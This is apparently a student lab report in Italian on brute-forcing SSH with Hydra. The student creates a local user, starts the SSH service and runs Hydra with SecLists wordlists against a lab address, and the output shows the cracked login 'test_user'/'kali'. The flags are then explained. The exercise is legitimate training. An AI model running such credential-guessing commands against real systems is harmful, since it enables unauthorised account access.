

Report W14D4

Gallo Cosimo Pio

cosimogll1@gmail.com

Traccia

1. L'esercizio di oggi ha un duplice scopo: Fare pratica con Hydra per craccare l'autenticazione dei servizi di rete
2. Consolidare le conoscenze dei servizi stessi tramite la loro configurazione

Svolgimento:

Creiamo un nuovo user tramite il comando: `sudo adduser test_user` con password kali

```
(root@kali)-[~]  
# adduser test_user  
warn: The home directory `/home/test_user' already exists. Not touching this directory.  
New password:  
Retype new password:  
passwd: password updated successfully  
Changing the user information for test_user  
Enter the new value, or press ENTER for the default  
  Full Name []:  
  Room Number []:  
  Work Phone []:  
  Home Phone []:  
  Other []:  
Is the information correct? [Y/n] y
```


Attiviamo il servizio ssh tramite il comando: `sudo service ssh start`

```
(root@kali)-[~]  
# service ssh start
```

Infine tramite i comandi appresi a lezione di hydra iniziamo il cracking della password:

hydra -L /usr/share/seclists/Usernames/cirt-default-usernames.txt -P

/usr/share/seclists/Passwords/cirt-default-passwords.txt ssh://192.168.50.100 -t3 -W3 -vV -I



```
(test_user@kali)~  
$ hydra -L /usr/share/seclists/Usernames/cirt-default-usernames.txt -P /usr/share/seclists/Passwords/cirt-default-passwords.txt ssh://192.168.50.100 -t3 -W3 -vV -I  
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-11-08 10:59:20  
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore  
[DATA] max 3 tasks per 1 server, overall 3 tasks, 862989 login tries (l:829/p:1041), ~287663 tries per task  
[DATA] attacking ssh://192.168.50.100:22/  
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done  
[INFO] Testing if password authentication is supported by ssh://test_user@192.168.50.100:22  
[ERROR] could not connect to ssh://192.168.50.100:22 - Socket error: Connection reset by peer  
  
(test_user@kali)~  
$ hydra -L /usr/share/seclists/Usernames/cirt-default-usernames.txt -P /usr/share/seclists/Passwords/cirt-default-passwords.txt ssh://192.168.50.100 -t3 -W3 -vV -I  
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-11-08 10:59:28  
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore  
[DATA] max 3 tasks per 1 server, overall 3 tasks, 862989 login tries (l:829/p:1041), ~287663 tries per task  
[DATA] attacking ssh://192.168.50.100:22/  
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done  
[INFO] Testing if password authentication is supported by ssh://test_user@192.168.50.100:22  
[INFO] Successful, password authentication is supported by ssh://192.168.50.100:22  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "kali" - 1 of 862989 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "ladmin" - 2 of 862989 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "lroot" - 3 of 862989 [child 2] (0/0)  
[22][ssh] host: 192.168.50.100 login: test_user password: kali  
[ATTEMPT] target 192.168.50.100 - login "lroot" - pass "kali" - 1042 of 862989 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "lroot" - pass "ladmin" - 1043 of 862989 [child 2] (0/0)  
^C[ERROR] Received signal 2, going down ...  
The session file ./hydra.restore was written. Type "hydra -R" to resume session.  
  
(test_user@kali)~
```

i comandi usati:

-L per richiamare le librerie di username

-P per richiamare le librerie di password

-t3 indica il numero di thread (connessioni in parallelo) che si andranno ad effettuare

-W3 ritenta in caso di disconnessione un massimo 3 volte la riconnessione

-vV verbosità massima live

-I ignora restore file (non ci fa perdere quei 20 secondi iniziali fastidiosi)